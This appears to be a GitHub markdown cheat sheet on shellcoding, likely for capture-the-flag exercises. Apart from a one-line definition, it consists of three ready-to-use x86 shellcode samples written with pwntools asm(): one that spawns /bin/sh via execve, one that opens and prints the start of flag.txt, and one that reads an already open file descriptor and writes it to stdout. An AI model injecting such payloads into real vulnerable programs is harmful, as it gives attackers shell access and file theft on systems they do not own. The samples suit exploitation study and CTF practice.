Skip to content

Latest commit

 

History

History
83 lines (61 loc) · 1.15 KB

Shellcoding.md

File metadata and controls

83 lines (61 loc) · 1.15 KB

Shellcoding

Shellcoding is the process of writing x86 assembly instructions to achieve a desired goal, commonly executing a shell or reading a file.

Samples

/bin/sh

shellcode = asm('''
    xor eax, eax
    push eax     

    push 0x68732f2f   
    push 0x6e69622f 

    mov ebx, esp   
    push eax

    push ebx
    mov ecx, esp
    mov al, 0xb     

    int 0x80
''')

read('flag.txt')

# OPEN A FILE (flag.txt)
# PRINT FIRST 10 bytes
# CLOSE FILE
shellcode = asm('''
    mov eax, SYS_open

    push 0x0
    push 0x7478742e
    push 0x67616c66

    mov ebx, esp
    mov ecx, O_RDONLY  
    int 0x80

    mov edi, eax        

    mov eax, SYS_read       
    mov ebx, edi
    mov ecx, esi       
    mov edx, 0xa        
    int 0x80

    mov eax, SYS_write     
    mov ebx, 0x1
    mov edx, 0xa

    mov ecx, esi
    int 0x80
''')

read(fd)

# read a hanging/open file descriptor

shellcode += asm('''
	xor ebx, ebx

    mov eax, SYS_read
    mov ebx, 0x3e8
    mov ecx, esp
    mov edx, 0xbe
    int 0x80

    mov eax, SYS_write
    mov ebx, 0x1
    mov edx, 0xbe
    mov ecx, esp
    int 0x80
''')